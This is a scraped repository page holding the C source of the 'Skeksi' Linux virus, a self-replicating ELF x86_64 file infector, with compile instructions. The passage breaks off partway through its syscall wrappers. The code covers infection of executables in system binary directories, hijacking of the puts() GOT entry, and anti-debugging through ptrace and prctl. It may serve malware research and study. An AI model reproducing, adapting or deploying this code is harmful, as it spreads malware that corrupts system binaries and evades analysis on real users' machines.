-
Notifications
You must be signed in to change notification settings - Fork 61
/
virus.c
1742 lines (1593 loc) · 94 KB
/
virus.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* Skeksi Virus v0.1 - infects files that are ELF_X86_64 Linux ET_EXEC's
* Written by ElfMaster - [email protected]
*
* Compile:
* gcc -g -O0 -DANTIDEBUG -DINFECT_PLTGOT -fno-stack-protector -c virus.c -fpic -o virus.o
* gcc -N -fno-stack-protector -nostdlib virus.o -o virus
*
* Using -DDEBUG will allow Virus to print debug output
*
* Usage:
* ./virus
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <elf.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <link.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <time.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/time.h>
#define VIRUS_LAUNCHER_NAME "virus"
struct linux_dirent64 {
uint64_t d_ino;
int64_t d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[0];
} __attribute__((packed));
/* libc */
void Memset(void *mem, unsigned char byte, unsigned int len);
void _memcpy(void *, void *, unsigned int);
int _printf(char *, ...);
char * itoa(long, char *);
char * itox(long, char *);
int _puts(char *);
int _puts_nl(char *);
size_t _strlen(char *);
char *_strchr(const char *, int);
char * _strrchr(const char *, int);
int _strncmp(const char *, const char *, size_t);
int _strcmp(const char *, const char *);
int _memcmp(const void *, const void *, unsigned int);
char _toupper(char c);
/* syscalls */
long _ptrace(long request, long pid, void *addr, void *data);
int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
int _fstat(long, void *);
int _mprotect(void * addr, unsigned long len, int prot);
long _lseek(long, long, unsigned int);
void Exit(long);
void *_mmap(void *, unsigned long, unsigned long, unsigned long, long, unsigned long);
int _munmap(void *, size_t);
long _open(const char *, unsigned long, long);
long _write(long, char *, unsigned long);
int _read(long, char *, unsigned long);
int _getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count);
int _rename(const char *, const char *);
int _close(unsigned int);
int _gettimeofday(struct timeval *, struct timezone *);
/* Customs */
unsigned long get_rip(void);
void end_code(void);
void dummy_marker(void);
static inline uint32_t get_random_number(int) __attribute__((__always_inline__));
void display_skeksi(void);
#define PIC_RESOLVE_ADDR(target) (get_rip() - ((char *)&get_rip_label - (char *)target))
#if defined(DEBUG) && DEBUG > 0
#define DEBUG_PRINT(fmt, args...) _printf("DEBUG: %s:%d:%s(): " fmt, \
__FILE__, __LINE__, __func__, ##args)
#else
#define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */
#endif
#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE - 1))
#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
#define PAGE_ROUND(x) (PAGE_ALIGN_UP(x))
#define STACK_SIZE 0x4000000
#define TMP ".xyz.skeksi.elf64"
#define RODATA_PADDING 17000 // enough bytes to also copy .rodata and skeksi_banner
#define LUCKY_NUMBER 7
#define MAGIC_NUMBER 0x15D25 //thankz Mr. h0ffman
#define __ASM__ asm __volatile__
extern long real_start;
extern long get_rip_label;
struct bootstrap_data {
int argc;
char **argv;
};
typedef struct elfbin {
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
Elf64_Dyn *dyn;
Elf64_Addr textVaddr;
Elf64_Addr dataVaddr;
size_t textSize;
size_t dataSize;
Elf64_Off dataOff;
Elf64_Off textOff;
uint8_t *mem;
size_t size;
char *path;
struct stat st;
int fd;
int original_virus_exe;
} elfbin_t;
#define DIR_COUNT 4
_start()
{
#if 0
struct bootstrap_data bootstrap;
#endif
/*
* Save register state before executing parasite
* code.
*/
__ASM__ (
".globl real_start \n"
"real_start: \n"
"push %rsp \n"
"push %rbp \n"
"push %rax \n"
"push %rbx \n"
"push %rcx \n"
"push %rdx \n"
"push %r8 \n"
"push %r9 \n"
"push %r10 \n"
"push %r11 \n"
"push %r12 \n"
"push %r13 \n"
"push %r14 \n"
"push %r15 ");
#if 0
__ASM__ ("mov 0x08(%%rbp), %%rcx " : "=c" (bootstrap.argc));
__ASM__ ("lea 0x10(%%rbp), %%rcx " : "=c" (bootstrap.argv));
#endif
/*
* Load bootstrap pointer as argument to do_main()
* and call it.
*/
__ASM__ (
#if 0
"leaq %0, %%rdi\n"
#endif
"call do_main " //:: "g"(bootstrap)
);
/*
* Restore register state
*/
__ASM__ (
"pop %r15 \n"
"pop %r14 \n"
"pop %r13 \n"
"pop %r12 \n"
"pop %r11 \n"
"pop %r10 \n"
"pop %r9 \n"
"pop %r8 \n"
"pop %rdx \n"
"pop %rcx \n"
"pop %rbx \n"
"pop %rax \n"
"pop %rbp \n"
"pop %rsp \n"
"add $0x8, %rsp\n"
"jmp end_code "
);
}
/*
* l33t sp34k version of puts. We infect PLTGOT
* entry for puts() of infected binaries.
*/
int evil_puts(const char *string)
{
char *s = (char *)string;
char new[1024];
int index = 0;
int rnum = get_random_number(5);
if (rnum != 3)
goto normal;
Memset(new, 0, 1024);
while (*s != '\0' && index < 1024) {
switch(_toupper(*s)) {
case 'I':
new[index++] = '1';
break;
case 'E':
new[index++] = '3';
break;
case 'S':
new[index++] = '5';
break;
case 'T':
new[index++] = '7';
break;
case 'O':
new[index++] = '0';
break;
case 'A':
new[index++] = '4';
break;
default:
new[index++] = *s;
break;
}
s++;
}
return _puts_nl(new);
normal:
return _puts_nl((char *)string);
}
/*
* Heap areas are created by passing a NULL initialized
* pointer by reference.
*/
#define CHUNK_SIZE 256
void * vx_malloc(size_t len, uint8_t **mem)
{
if (*mem == NULL) {
*mem = _mmap(NULL, 0x200000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (*mem == MAP_FAILED) {
DEBUG_PRINT("malloc failed with mmap\n");
Exit(-1);
}
}
*mem += CHUNK_SIZE;
return (void *)((char *)*mem - len);
}
static inline void vx_free(uint8_t *mem)
{
uintptr_t addr = (uintptr_t)mem;
if ((addr & 0x000000000fff) == 0) {
_munmap(mem, 0x200000);
return;
}
addr -= CHUNK_SIZE;
mem = (uint8_t *)addr;
}
static inline int _rand(long *seed) // RAND_MAX assumed to be 32767
{
*seed = *seed * 1103515245 + 12345;
return (unsigned int)(*seed / 65536) & 32767;
}
/*
* We rely on ASLR to get our psuedo randomness, since RSP will be different
* at each execution.
*/
static inline uint32_t get_random_number(int max)
{
struct timeval tv;
_gettimeofday(&tv, NULL);
return _rand(&tv.tv_usec) % max;
}
static inline char * randomly_select_dir(char **dirs)
{
return (char *)dirs[get_random_number(DIR_COUNT)];
}
char * full_path(char *exe, char *dir, uint8_t **heap)
{
char *ptr = (char *)vx_malloc(_strlen(exe) + _strlen(dir) + 2, heap);
Memset(ptr, 0, _strlen(exe) + _strlen(dir));
_memcpy(ptr, dir, _strlen(dir));
ptr[_strlen(dir)] = '/';
if (*exe == '.' && *(exe + 1) == '/')
exe += 2;
_memcpy(&ptr[_strlen(dir) + 1], exe, _strlen(exe));
return ptr;
}
#define JMPCODE_LEN 6
int inject_parasite(size_t psize, size_t paddingSize, elfbin_t *target, elfbin_t *self, ElfW(Addr) orig_entry_point)
{
int ofd;
unsigned int c;
int i, t = 0, ehdr_size = sizeof(ElfW(Ehdr));
unsigned char *mem = target->mem;
unsigned char *parasite = self->mem;
char *host = target->path, *protected;
struct stat st;
_memcpy((struct stat *)&st, (struct stat *)&target->st, sizeof(struct stat));
/* eot is:
* end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;
* end_of_text += p_hdr->p_filesz;
*/
extern int return_entry_start;
if ((ofd = _open(TMP, O_CREAT|O_WRONLY|O_TRUNC, st.st_mode)) == -1)
return -1;
/*
* Write first 64 bytes of original binary (The elf file header)
* [ehdr]
*/
if ((c = _write(ofd, mem, ehdr_size)) != ehdr_size)
return -1;
/*
* Now inject the virus
* [ehdr][virus]
*/
void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);
void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);
int end_code_size = (int)((char *)f2 - (char *)f1);
Elf64_Addr end_code_addr = PIC_RESOLVE_ADDR(&end_code);
uint8_t jmp_patch[6] = {0x68, 0x0, 0x0, 0x0, 0x0, 0xc3};
*(uint32_t *)&jmp_patch[1] = orig_entry_point;
/*
* Write parasite up until end_code()
*/
size_t initial_parasite_len = self->size - RODATA_PADDING;
initial_parasite_len -= end_code_size;
if ((c = _write(ofd, parasite, initial_parasite_len)) != initial_parasite_len) {
return -1;
}
_write(ofd, jmp_patch, sizeof(jmp_patch));
_write(ofd, ¶site[initial_parasite_len + sizeof(jmp_patch)], RODATA_PADDING + (end_code_size - sizeof(jmp_patch)));
/*
* Seek to end of tracer.o + PAGE boundary
* [ehdr][virus][pad]
*/
uint32_t offset = sizeof(ElfW(Ehdr)) + paddingSize;
if ((c = _lseek(ofd, offset, SEEK_SET)) != offset)
return -1;
/*
* Write the rest of the original binary
* [ehdr][virus][pad][phdrs][text][data][shdrs]
*/
mem += sizeof(Elf64_Ehdr);
unsigned int final_length = st.st_size - (sizeof(ElfW(Ehdr))); // + target->ehdr->e_shnum * sizeof(Elf64_Shdr));
if ((c = _write(ofd, mem, final_length)) != final_length)
return -1;
_close(ofd);
return 0;
}
Elf64_Addr infect_elf_file(elfbin_t *self, elfbin_t *target)
{
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
uint8_t *mem;
int fd;
int text_found = 0, i;
Elf64_Addr orig_entry_point;
Elf64_Addr origText;
Elf64_Addr new_base;
size_t parasiteSize;
size_t paddingSize;
struct stat st;
char *host = target->path;
long o_entry_offset;
/*
* Get size of parasite (self)
*/
parasiteSize = self->size;
paddingSize = PAGE_ALIGN_UP(parasiteSize);
mem = target->mem;
*(uint32_t *)&mem[EI_PAD] = MAGIC_NUMBER;
ehdr = (Elf64_Ehdr *)target->ehdr;
phdr = (Elf64_Phdr *)target->phdr;
shdr = (Elf64_Shdr *)target->shdr;
orig_entry_point = ehdr->e_entry;
phdr[0].p_offset += paddingSize;
phdr[1].p_offset += paddingSize;
for (i = 0; i < ehdr->e_phnum; i++) {
if (text_found)
phdr[i].p_offset += paddingSize;
if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == (PF_R|PF_X)) {
origText = phdr[i].p_vaddr;
phdr[i].p_vaddr -= paddingSize;
phdr[i].p_paddr -= paddingSize;
phdr[i].p_filesz += paddingSize;
phdr[i].p_memsz += paddingSize;
phdr[i].p_align = 0x1000; // this will allow infected bins to work with PaX :)
new_base = phdr[i].p_vaddr;
text_found = 1;
} else {
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset && (phdr[i].p_flags & PF_W))
phdr[i].p_align = 0x1000; // also to allow infected bins to work with PaX :)
}
}
if (!text_found) {
DEBUG_PRINT("Error, unable to locate text segment in target executable: %s\n", target->path);
return -1;
}
ehdr->e_entry = origText - paddingSize + sizeof(ElfW(Ehdr));
shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
char *StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset];
for (i = 0; i < ehdr->e_shnum; i++) {
/*
* This makes the Virus strip safe, as it will be contained within a section now.
* It also makes it so that the e_entry still points into the .text section which
* may set off less heuristics.
*/
if (!_strncmp((char *)&StringTable[shdr[i].sh_name], ".text", 5)) {
shdr[i].sh_offset = sizeof(ElfW(Ehdr)); // -= (uint32_t)paddingSize;
shdr[i].sh_addr = origText - paddingSize;
shdr[i].sh_addr += sizeof(ElfW(Ehdr));
shdr[i].sh_size += self->size;
}
else
shdr[i].sh_offset += paddingSize;
}
ehdr->e_shoff += paddingSize;
ehdr->e_phoff += paddingSize;
inject_parasite(parasiteSize, paddingSize, target, self, orig_entry_point);
return new_base;
}
/*
* Since our parasite exists of both a text and data segment
* we include the initial ELF file header and phdr in each parasite
* insertion. This lends itself well to being able to self-load by
* parsing our own program headers etc.
*/
int load_self(elfbin_t *elf)
{
int i;
void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);
void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);
Elf64_Addr _start_addr = PIC_RESOLVE_ADDR(&_start);
elf->mem = (uint8_t *)_start_addr;
elf->size = (char *)&end_code - (char *)&_start;
elf->size += (int)((char *)f2 - (char *)f1);
//elf->size += 1024; // So we have .rodata included in parasite insertion
elf->size += RODATA_PADDING; //SKEKSI_BYTECODE_SIZE;
return 0;
}
void unload_target(elfbin_t *elf)
{
_munmap(elf->mem, elf->size);
_close(elf->fd);
}
int load_target(const char *path, elfbin_t *elf)
{
int i;
struct stat st;
elf->path = (char *)path;
int fd = _open(path, O_RDONLY, 0);
if (fd < 0)
return -1;
elf->fd = fd;
if (_fstat(fd, &st) < 0)
return -1;
elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if (elf->mem == MAP_FAILED)
return -1;
elf->ehdr = (Elf64_Ehdr *)elf->mem;
elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff];
elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff];
for (i = 0; i < elf->ehdr->e_phnum; i++) {
switch(elf->phdr[i].p_type) {
case PT_LOAD:
switch(!!elf->phdr[i].p_offset) {
case 0:
elf->textVaddr = elf->phdr[i].p_vaddr;
elf->textSize = elf->phdr[i].p_memsz;
break;
case 1:
elf->dataVaddr = elf->phdr[i].p_vaddr;
elf->dataSize = elf->phdr[i].p_memsz;
elf->dataOff = elf->phdr[i].p_offset;
break;
}
break;
case PT_DYNAMIC:
elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset];
break;
}
}
elf->st = st;
elf->size = st.st_size;
return 0;
}
int load_target_writeable(const char *path, elfbin_t *elf)
{
int i;
struct stat st;
elf->path = (char *)path;
int fd = _open(path, O_RDWR, 0);
if (fd < 0)
return -1;
elf->fd = fd;
if (_fstat(fd, &st) < 0)
return -1;
elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (elf->mem == MAP_FAILED)
return -1;
elf->ehdr = (Elf64_Ehdr *)elf->mem;
elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff];
elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff];
for (i = 0; i < elf->ehdr->e_phnum; i++) {
switch(elf->phdr[i].p_type) {
case PT_LOAD:
switch(!!elf->phdr[i].p_offset) {
case 0:
elf->textVaddr = elf->phdr[i].p_vaddr;
elf->textSize = elf->phdr[i].p_memsz;
break;
case 1:
elf->dataVaddr = elf->phdr[i].p_vaddr;
elf->dataSize = elf->phdr[i].p_memsz;
elf->dataOff = elf->phdr[i].p_offset;
break;
}
break;
case PT_DYNAMIC:
elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset];
break;
}
}
elf->st = st;
elf->size = st.st_size;
return 0;
}
/*
* We hook puts() for l33t sp34k 0utput. We parse the phdr's dynamic segment
* directly so we can still infect programs that are stripped of section header
* tables.
*/
int infect_pltgot(elfbin_t *target, Elf64_Addr new_fn_addr)
{
int i, j = 0, symindex = -1;
Elf64_Sym *symtab;
Elf64_Rela *jmprel;
Elf64_Dyn *dyn = target->dyn;
Elf64_Addr *gotentry, *pltgot;
char *strtab;
size_t strtab_size;
size_t jmprel_size;
Elf64_Addr gotaddr = 0; // INITIALIZE!
Elf64_Off gotoff = 0;
for (i = 0; dyn[i].d_tag != DT_NULL; i++) {
switch(dyn[i].d_tag) {
case DT_SYMTAB: // relative to the text segment base
symtab = (Elf64_Sym *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];
break;
case DT_PLTGOT: // relative to the data segment base
pltgot = (long *)&target->mem[target->dataOff + (dyn[i].d_un.d_ptr - target->dataVaddr)];
break;
case DT_STRTAB: // relative to the text segment base
strtab = (char *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];
break;
case DT_STRSZ:
strtab_size = (size_t)dyn[i].d_un.d_val;
break;
case DT_JMPREL:
jmprel = (Elf64_Rela *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];
break;
case DT_PLTRELSZ:
jmprel_size = (size_t)dyn[i].d_un.d_val;
break;
}
}
if (symtab == NULL || pltgot == NULL) {
DEBUG_PRINT("Unable to locate symtab or pltgot\n");
return -1;
}
for (i = 0; symtab[i].st_name <= strtab_size; i++) {
if (!_strcmp(&strtab[symtab[i].st_name], "puts")) {
DEBUG_PRINT("puts symbol index: %d\n", i);
symindex = i;
break;
}
}
if (symindex == -1) {
DEBUG_PRINT("cannot find puts()\n");
return -1;
}
for (i = 0; i < jmprel_size / sizeof(Elf64_Rela); i++) {
if (!_strcmp(&strtab[symtab[ELF64_R_SYM(jmprel[i].r_info)].st_name], "puts")) {
gotaddr = jmprel[i].r_offset;
gotoff = target->dataOff + (jmprel[i].r_offset - target->dataVaddr);
DEBUG_PRINT("gotaddr: %x gotoff: %x\n", gotaddr, gotoff);
break;
}
}
if (gotaddr == 0) {
DEBUG_PRINT("Couldn't find relocation entry for puts\n");
return -1;
}
gotentry = (Elf64_Addr *)&target->mem[gotoff];
*gotentry = new_fn_addr;
DEBUG_PRINT("patched GOT entry %x with address %x\n", gotaddr, new_fn_addr);
return 0;
}
/*
* Must be ELF
* Must be ET_EXEC
* Must be dynamically linked
* Must not yet be infected
*/
int check_criteria(char *filename)
{
int fd, dynamic, i, ret = 0;
struct stat st;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
uint8_t mem[4096];
uint32_t magic;
fd = _open(filename, O_RDONLY, 0);
if (fd < 0)
return -1;
if (_read(fd, mem, 4096) < 0)
return -1;
_close(fd);
ehdr = (Elf64_Ehdr *)mem;
phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
if(_memcmp("\x7f\x45\x4c\x46", mem, 4) != 0)
return -1;
magic = *(uint32_t *)((char *)&ehdr->e_ident[EI_PAD]);
if (magic == MAGIC_NUMBER) //already infected? Then skip this file
return -1;
if (ehdr->e_type != ET_EXEC)
return -1;
if (ehdr->e_machine != EM_X86_64)
return -1;
for (dynamic = 0, i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_DYNAMIC)
dynamic++;
if (!dynamic)
return -1;
return 0;
}
void do_main(struct bootstrap_data *bootstrap)
{
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
uint8_t *mem, *heap = NULL;
long new_base, base_addr, evilputs_addr, evilputs_offset;
struct linux_dirent64 *d;
int bpos, fcount, dd, nread;
char *dir = NULL, **files, *fpath, dbuf[32768];
struct stat st;
mode_t mode;
uint32_t rnum;
elfbin_t self, target;
int scan_count = DIR_COUNT;
int icount = 0;
int paddingSize;
/*
* NOTE:
* we can't use string literals because they will be
* stored in either .rodata or .data sections.
*/
char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" };
char cwd[2] = {'.', '\0'};
#if ANTIDEBUG
if (_ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
_printf("!! Skeksi Virus, 2015 !!\n");
Exit(-1);
}
_prctl(PR_SET_DUMPABLE, 0, 0, 0, 0);
#endif
rescan:
dir = _getuid() != 0 ? cwd : randomly_select_dir((char **)dirs);
if (!_strcmp(dir, "."))
scan_count = 1;
DEBUG_PRINT("Infecting files in directory: %s\n", dir);
dd = _open(dir, O_RDONLY | O_DIRECTORY, 0);
if (dd < 0) {
DEBUG_PRINT("open failed\n");
return;
}
load_self(&self);
for (;;) {
nread = _getdents64(dd, (struct linux_dirent64 *)dbuf, 32768);
if (nread < 0) {
DEBUG_PRINT("getdents64 failed\n");
return;
}
if (nread == 0)
break;
for (fcount = 0, bpos = 0; bpos < nread; bpos++) {
d = (struct linux_dirent64 *) (dbuf + bpos);
bpos += d->d_reclen - 1;
if (!_strcmp(d->d_name, VIRUS_LAUNCHER_NAME))
continue;
if (d->d_name[0] == '.')
continue;
if (check_criteria(fpath = full_path(d->d_name, dir, &heap)) < 0)
continue;
if (icount == 0)
goto infect;
rnum = get_random_number(10);
if (rnum != LUCKY_NUMBER)
continue;
infect:
load_target(fpath, &target);
new_base = infect_elf_file(&self, &target);
unload_target(&target);
#ifdef INFECT_PLTGOT
load_target_writeable(TMP, &target);
base_addr = PIC_RESOLVE_ADDR(&_start);
evilputs_addr = PIC_RESOLVE_ADDR(&evil_puts);
evilputs_offset = evilputs_addr - base_addr;
infect_pltgot(&target, new_base + evilputs_offset + sizeof(Elf64_Ehdr));
unload_target(&target);
#endif
_rename(TMP, fpath);
icount++;
}
}
if (--scan_count > 0) {
_close(dd);
goto rescan;
}
rnum = get_random_number(25);
if (rnum == LUCKY_NUMBER)
display_skeksi();
}
int _getuid(void)
{
unsigned long ret;
__asm__ volatile("mov $102, %rax\n"
"syscall");
asm ("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
void Exit(long status)
{
__asm__ volatile("mov %0, %%rdi\n"
"mov $60, %%rax\n"
"syscall" : : "r"(status));
}
long _open(const char *path, unsigned long flags, long mode)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $2, %%rax\n"
"syscall" : : "g"(path), "g"(flags), "g"(mode));
asm ("mov %%rax, %0" : "=r"(ret));
return ret;
}
int _close(unsigned int fd)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov $3, %%rax\n"
"syscall" : : "g"(fd));
return (int)ret;
}
int _read(long fd, char *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $0, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
long _write(long fd, char *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
int _fstat(long fd, void *buf)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $5, %%rax\n"
"syscall" : : "g"(fd), "g"(buf));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
int _unlink(const char *path)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov $87, %%rax\n"
"syscall" ::"g"(path));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
int _rename(const char *old, const char *new)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $82, %%rax\n"
"syscall" ::"g"(old),"g"(new));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
long _lseek(long fd, long offset, unsigned int whence)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $8, %%rax\n"
"syscall" : : "g"(fd), "g"(offset), "g"(whence));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
int _fsync(int fd)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov $74, %%rax\n"
"syscall" : : "g"(fd));
asm ("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)
{
long mmap_fd = fd;
unsigned long mmap_off = off;
unsigned long mmap_flags = flags;
unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov %4, %%r8\n"
"mov %5, %%r9\n"
"mov $9, %%rax\n"
"syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
asm ("mov %%rax, %0" : "=r"(ret));
return (void *)ret;
}
int _munmap(void *addr, size_t len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $11, %%rax\n"
"syscall" :: "g"(addr), "g"(len));
asm ("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
int _mprotect(void * addr, unsigned long len, int prot)
{
unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $10, %%rax\n"
"syscall" : : "g"(addr), "g"(len), "g"(prot));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
long _ptrace(long request, long pid, void *addr, void *data)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov $101, %%rax\n"
"syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov $157, %%rax\n"
"syscall\n" :: "g"(option), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
int _getdents64(unsigned int fd, struct linux_dirent64 *dirp,